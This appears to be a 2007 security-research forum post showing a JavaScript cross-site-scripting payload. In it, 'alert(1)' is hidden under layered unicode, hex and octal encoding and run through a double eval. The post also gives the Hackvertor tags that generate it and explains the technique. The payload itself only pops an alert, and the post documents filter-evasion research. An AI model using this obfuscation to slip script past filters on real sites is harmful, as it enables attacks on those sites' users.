Here's some double encoded data:-
\u0062\u003d/\u/\u005b\u002d\u0031\u005d
\u007a\u003d/00/\u005b\u002d\u0031\u005d
\u0063\u003d/c/\u005b\u002d\u0031\u005d
\u0065\u003d\u0030\u005b'\x65\x76\141\154'\u005d\u0028'\142\53\172\53\66\61\53\142\53\172\53\66\53\143\53\142\53\172\53\66\65\53\142\53\172\53\67\62\53\142\53\172\53\67\64\53\142\53\172\53\62\70\53\142\53\172\53\63\61\53\142\53\172\53\62\71'\u0029
\u0030\u005b'\145\166\x61\x6C'\u005d\u0028\u0065\u0029
Here's the hackvertor tags that constructed it:-
<@uni>b=<@/uni>/\u/<@uni>[-1]<@/uni>
<@uni>z=<@/uni>/00/<@uni>[-1]<@/uni>
<@uni>c=<@/uni>/c/<@uni>[-1]<@/uni>
<@uni>e=0[<@/uni>'<@hex>ev<@/hex><@oct>al<@/oct>'<@uni>](<@/uni>'<@oct>b+z+61+b+z+6+c+b+z+65+b+z+72+b+z+74+b+z+28+b+z+31+b+z+29<@/oct>'<@uni>)<@/uni>
<@uni>0[<@/uni>'<@oct>ev<@/oct><@hex>al<@/hex>'<@uni>](e)<@/uni>
basically the string "alert(1)" is converted to unicode and then the unicode string is split up into separate parts then that is then octal encoded. Each other part is then unicode encoded :)
ooopps almost forgot, the string is eval'd twice, once to decode the unicode data and a second time to execute the decoded data. Eval's are encoded with hex and octal.
------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [
www.businessinfo.co.uk]
blog : [
www.thespanner.co.uk]
Hackvertor : [
hackvertor.co.uk]
Edited 1 time(s). Last edit at 12/20/2007 10:09AM by Gareth Heyes.